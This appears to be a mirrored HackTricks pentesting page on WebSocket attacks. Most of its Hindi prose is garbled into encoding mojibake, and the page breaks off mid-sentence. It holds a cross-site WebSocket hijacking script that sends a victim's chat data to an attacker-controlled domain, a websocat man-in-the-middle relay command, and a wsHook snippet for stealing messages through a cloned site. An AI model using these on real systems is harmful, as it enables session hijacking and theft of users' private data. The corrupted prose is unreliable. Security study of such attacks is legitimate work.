mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 17:28:13 +00:00
184 lines
18 KiB
Markdown
184 lines
18 KiB
Markdown
# WebSocket Attacks
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## What are WebSockets
|
|
|
|
WebSocket рдХрдиреЗрдХреНрд╢рди рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ **HTTP** рд╣реИрдВрдбрд╢реЗрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЗрдиреНрд╣реЗрдВ **рджреАрд░реНрдШрдХрд╛рд▓рд┐рдХ** рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рднреА рд╕рдордп рджреНрд╡рд┐рджрд┐рд╢реАрдп рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдмрд┐рдирд╛ рд▓реЗрди-рджреЗрди рдкреНрд░рдгрд╛рд▓реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗред рдпрд╣ WebSockets рдХреЛ рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдлрд╛рдпрджреЗрдордВрдж рдмрдирд╛рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ **рдХрдо рд╡рд┐рд▓рдВрдмрддрд╛ рдпрд╛ рд╕рд░реНрд╡рд░-рдкреНрд░рд╛рд░рдВрднрд┐рдд рд╕рдВрдЪрд╛рд░** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд▓рд╛рдЗрд╡ рд╡рд┐рддреНрддреАрдп рдбреЗрдЯрд╛ рд╕реНрдЯреНрд░реАрдоред
|
|
|
|
### Establishment of WebSocket Connections
|
|
|
|
WebSocket рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг [**рдпрд╣рд╛рдВ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, WebSocket рдХрдиреЗрдХреНрд╢рди рдЖрдорддреМрд░ рдкрд░ рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд╛рдЗрдб рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрд░рдВрдн рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:
|
|
```javascript
|
|
var ws = new WebSocket("wss://normal-website.com/ws");
|
|
```
|
|
`wss` рдкреНрд░реЛрдЯреЛрдХреЙрд▓ **TLS** рдХреЗ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд┐рдд WebSocket рдХрдиреЗрдХреНрд╢рди рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ `ws` рдПрдХ **рдЕрд╕реБрд░рдХреНрд╖рд┐рдд** рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред
|
|
|
|
рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╕рдордп, HTTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рдПрдХ рд╣реИрдВрдбрд╢реЗрдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣реИрдВрдбрд╢реЗрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ рдФрд░ рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:
|
|
|
|
рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдПрдХ рд╣реИрдВрдбрд╢реЗрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ:
|
|
```javascript
|
|
GET /chat HTTP/1.1
|
|
Host: normal-website.com
|
|
Sec-WebSocket-Version: 13
|
|
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
|
Connection: keep-alive, Upgrade
|
|
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
|
Upgrade: websocket
|
|
```
|
|
рд╕рд░реНрд╡рд░ рдХрд╛ рд╣реИрдВрдбрд╢реЗрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛:
|
|
```javascript
|
|
HTTP/1.1 101 Switching Protocols
|
|
Connection: Upgrade
|
|
Upgrade: websocket
|
|
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
|
```
|
|
The connection remains open for message exchange in both directions once established.
|
|
|
|
**Key Points of the WebSocket Handshake:**
|
|
|
|
- The `Connection` and `Upgrade` headers signal the initiation of a WebSocket handshake.
|
|
- The `Sec-WebSocket-Version` header indicates the desired WebSocket protocol version, usually `13`.
|
|
- A Base64-encoded random value is sent in the `Sec-WebSocket-Key` header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
|
|
- The `Sec-WebSocket-Accept` header in the server's response is a hash of the `Sec-WebSocket-Key`, verifying the server's intention to open a WebSocket connection.
|
|
|
|
These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.
|
|
|
|
|
|
### Linux console
|
|
|
|
You can use `websocat` to establish a raw connection with a websocket.
|
|
```bash
|
|
websocat --insecure wss://10.10.10.10:8000 -v
|
|
```
|
|
рдпрд╛ websocat рд╕рд░реНрд╡рд░ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП:
|
|
```bash
|
|
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
|
```
|
|
### MitM websocket connections
|
|
|
|
рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдЖрдкрдХреЗ рд╡рд░реНрддрдорд╛рди рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ **HTTP websocket** рд╕реЗ рдЬреБрдбрд╝реЗ рд╣реБрдП рд╣реИрдВ, рддреЛ рдЖрдк [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ MitM рд╣рдорд▓рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред\
|
|
рдПрдХ рдмрд╛рд░ рдЬрдм рдХреНрд▓рд╛рдЗрдВрдЯ рдЖрдкрд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣рд╛ рд╣реЛ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
|
|
```bash
|
|
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
|
```
|
|
### Websockets enumeration
|
|
|
|
рдЖрдк **рдЯреВрд▓** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ websockets рдореЗрдВ рдЬреНрдЮрд╛рдд** **vulnerabilities** **рдХреЛ рдЦреЛрдЬрдиреЗ, рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдФрд░ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред**
|
|
|
|
### Websocket Debug tools
|
|
|
|
* **Burp Suite** MitM websockets рд╕рдВрдЪрд╛рд░ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕ рддрд░рд╣ рд╕реЗ рдпрд╣ рдирд┐рдпрдорд┐рдд HTTP рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред
|
|
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рдЖрдкрдХреЛ Burp рдореЗрдВ Websocket рд╕рдВрдЪрд╛рд░ рдХреЛ рдмреЗрд╣рддрд░ рдврдВрдЧ рд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛, **рдЗрддрд┐рд╣рд╛рд╕** рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ, **interception rules** рд╕реЗрдЯ рдХрд░рдХреЗ, **match and replace** рдирд┐рдпрдореЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, **Intruder** рдФрд░ **AutoRepeater** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред
|
|
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" рдХреЗ рд▓рд┐рдП рд╕рдВрдХреНрд╖рд┐рдкреНрдд, рдпрд╣ рдЯреВрд▓, рдЬреЛ Node.js рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, **рдХреИрдкреНрдЪрд░, рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ, рдХрд╕реНрдЯрдо** рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рд╕рднреА WebSocket рдФрд░ Socket.IO рд╕рдВрдЪрд╛рд░ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
|
|
* [**wsrepl**](https://github.com/doyensec/wsrepl) рдПрдХ **рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ websocket REPL** рд╣реИ рдЬрд┐рд╕реЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдкреЗрдирдЯреНрд░реЗрд╢рди рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ **рдЖрдиреЗ рд╡рд╛рд▓реЗ websocket рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рджреЗрдЦрдиреЗ рдФрд░ рдирдП рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ** рдХреЗ рд▓рд┐рдП рдПрдХ рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЗрд╕ рд╕рдВрдЪрд╛рд░ рдХреЛ **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрд╕рд╛рди рдврд╛рдВрдЪрд╛ рд╣реИред 
|
|
* [**https://websocketking.com/**](https://websocketking.com/) рдпрд╣ рдПрдХ **рд╡реЗрдм рд╣реИ рдЬреЛ рдЕрдиреНрдп рд╡реЗрдм рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП **websockets** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
|
|
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) рдЕрдиреНрдп рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕рдВрдЪрд╛рд░/рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдмреАрдЪ, рдпрд╣ рдПрдХ **рд╡реЗрдм рд╣реИ рдЬреЛ рдЕрдиреНрдп рд╡реЗрдм рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП **websockets** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
|
|
|
|
## Websocket Lab
|
|
|
|
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) рдореЗрдВ рдЖрдкрдХреЗ рдкрд╛рд╕ websockets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╡реЗрдм рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рд╣реИ рдФрд░ [**рдЗрд╕ рдкреЛрд╕реНрдЯ**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) рдореЗрдВ рдЖрдк рдПрдХ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
|
|
|
|
## Cross-site WebSocket hijacking (CSWSH)
|
|
|
|
**Cross-site WebSocket hijacking**, рдЬрд┐рд╕реЗ **cross-origin WebSocket hijacking** рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреЛ **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** рдХрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдорд╛рдорд▓рд╛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ WebSocket рд╣реИрдВрдбрд╢реЗрдХ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ **vulnerability** рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрдм WebSocket рд╣реИрдВрдбрд╢реЗрдХ рдХреЗрд╡рд▓ **HTTP cookies** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ **CSRF tokens** рдпрд╛ рд╕рдорд╛рди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЗред
|
|
|
|
рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХреЛ рдПрдХ **рджреБрд╖реНрдЯ рд╡реЗрдм рдкреГрд╖реНрда** рд╣реЛрд╕реНрдЯ рдХрд░рдХреЗ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рдХрдордЬреЛрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ WebSocket рдХрдиреЗрдХреНрд╢рди рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдЗрд╕ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд╛рде рдкреАрдбрд╝рд┐рдд рдХреЗ рд╕рддреНрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕рддреНрд░ рдкреНрд░рдмрдВрдзрди рддрдВрддреНрд░ рдореЗрдВ CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдХрдореА рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред
|
|
|
|
### Simple Attack
|
|
|
|
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЬрдм **websocket** рдХрдиреЗрдХреНрд╢рди **рд╕реНрдерд╛рдкрд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ **cookie** **рд╕рд░реНрд╡рд░** рдХреЛ **рднреЗрдЬреА** рдЬрд╛рддреА рд╣реИред **рд╕рд░реНрд╡рд░** рдЗрд╕реЗ **рд╡рд┐рд╢рд┐рд╖реНрдЯ** **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ рдЙрд╕рдХреЗ **websocket** **рд╕рддреНрд░ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдЙрдкрдпреЛрдЧ** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рднреЗрдЬреА рдЧрдИ рдХреБрдХреА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред
|
|
|
|
рдлрд┐рд░, рдпрджрд┐ **рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП** **websocket** **рд╕рд░реНрд╡рд░** **рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдмрд╛рддрдЪреАрдд рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕ рд╡рд╛рдкрд╕ рднреЗрдЬрддрд╛ рд╣реИ** рдпрджрд┐ рдПрдХ msg "**READY"** рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ **рд╕рд░рд▓ XSS** рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реБрдП (**cookie** **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ** рдкреАрдбрд╝рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рднреЗрдЬреА** рдЬрд╛рдПрдЧреА) "**READY**" рднреЗрдЬрдиреЗ рд╕реЗ **рдмрд╛рддрдЪреАрдд** рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕ **рдкреНрд░рд╛рдкреНрдд** рдХрд░ рд╕рдХреЗрдЧрд╛ред
|
|
```markup
|
|
<script>
|
|
websocket = new WebSocket('wss://your-websocket-URL')
|
|
websocket.onopen = start
|
|
websocket.onmessage = handleReply
|
|
function start(event) {
|
|
websocket.send("READY"); //Send the message to retreive confidential information
|
|
}
|
|
function handleReply(event) {
|
|
//Exfiltrate the confidential information to attackers server
|
|
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|
}
|
|
</script>
|
|
```
|
|
### рдХреНрд░реЙрд╕ рдУрд░рд┐рдЬрд┐рди + рдПрдХ рдЕрд▓рдЧ рдЙрдкрдбреЛрдореЗрди рдХреЗ рд╕рд╛рде рдХреБрдХреА
|
|
|
|
рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдореЗрдВ [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) рд╣рдорд▓рд╛рд╡рд░ рдиреЗ **рдПрдХ рдЙрдкрдбреЛрдореЗрди рдореЗрдВ рдордирдорд╛рдирд╛ Javascript рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣рд╛** рдЬрд╣рд╛рдВ рд╡реЗрдм рд╕реЙрдХреЗрдЯ рд╕рдВрдЪрд╛рд░ рд╣реЛ рд░рд╣рд╛ рдерд╛ред рдЪреВрдВрдХрд┐ рдпрд╣ **рдЙрдкрдбреЛрдореЗрди** рдерд╛, **рдХреБрдХреА** **рднреЗрдЬреА рдЬрд╛ рд░рд╣реА рдереА**, рдФрд░ рдЪреВрдВрдХрд┐ **рд╡реЗрдмрд╕реЙрдХреЗрдЯ рдиреЗ рдУрд░рд┐рдЬрд┐рди рдХреА рд╕рд╣реА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХреА**, рдЗрд╕рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдирд╛ рдФрд░ **рдЗрд╕рд╕реЗ рдЯреЛрдХрди рдЪреБрд░рд╛рдирд╛** рд╕рдВрднрд╡ рдерд╛ред
|
|
|
|
### рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдбреЗрдЯрд╛ рдЪреБрд░рд╛рдирд╛
|
|
|
|
рдЖрдк рдЬрд┐рд╕ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдирдХрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЙрд╕реЗ рдХреЙрдкреА рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП .html рдлрд╝рд╛рдЗрд▓реЗрдВ) рдФрд░ рдЙрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдЕрдВрджрд░ рдЬрд╣рд╛рдВ рд╡реЗрдм рд╕реЙрдХреЗрдЯ рд╕рдВрдЪрд╛рд░ рд╣реЛ рд░рд╣рд╛ рд╣реИ, рдпрд╣ рдХреЛрдб рдЬреЛрдбрд╝реЗрдВ:
|
|
```javascript
|
|
//This is the script tag to load the websocket hooker
|
|
<script src='wsHook.js'></script>
|
|
|
|
//These are the functions that are gonig to be executed before a message
|
|
//is sent by the client or received from the server
|
|
//These code must be between some <script> tags or inside a .js file
|
|
wsHook.before = function(data, url) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "client_msg?m="+data, true);
|
|
xhttp.send();
|
|
}
|
|
wsHook.after = function(messageEvent, url, wsObject) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
|
xhttp.send();
|
|
return messageEvent;
|
|
}
|
|
```
|
|
рдЕрдм `wsHook.js` рдлрд╝рд╛рдЗрд▓ рдХреЛ [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ **рдЗрд╕реЗ рд╡реЗрдм рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рд╕рд╣реЗрдЬреЗрдВ**ред\
|
|
рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдХреЗ рдФрд░ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЗрд╕рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк websocket рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬреЗ рдЧрдП рдФрд░ рдкреНрд░рд╛рдкреНрдд рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдЪреБрд░рд╛ рд╕рдХреЗрдВрдЧреЗ:
|
|
```javascript
|
|
sudo python3 -m http.server 80
|
|
```
|
|
## Race Conditions
|
|
|
|
WebSockets рдореЗрдВ Race Conditions рднреА рд╣реЛрддреЗ рд╣реИрдВ, [рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдФрд░ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ](race-condition.md#rc-in-websockets).
|
|
|
|
## Other vulnerabilities
|
|
|
|
рдЪреВрдВрдХрд┐ Web Sockets рдПрдХ рддрдВрддреНрд░ рд╣реИрдВ **рдбреЗрдЯрд╛ рдХреЛ рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд╛рдЗрдб рдкрд░ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП**, рдпрд╣ рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдХреИрд╕реЗ рд╕рдВрднрд╛рд▓рддреЗ рд╣реИрдВ, **Web Sockets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдИ рдЕрдиреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдЬреИрд╕реЗ XSS, SQLi рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрдм vuln рдХреЛ рдПрдХ websocket рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЗрдирдкреБрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред**
|
|
|
|
## **WebSocket Smuggling**
|
|
|
|
рдпрд╣ рдХрдордЬреЛрд░реА рдЖрдкрдХреЛ **рд░рд┐рд╡рд░реНрд╕ рдкреНрд░реЙрдХреНрд╕реА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╣реЛ рдХрд┐ **websocket рд╕рдВрдЪрд╛рд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛** (рднрд▓реЗ рд╣реА рдпрд╣ рд╕рдЪ рди рд╣реЛ)ред рдпрд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдЫрд┐рдкреЗ рд╣реБрдП рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕** рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП 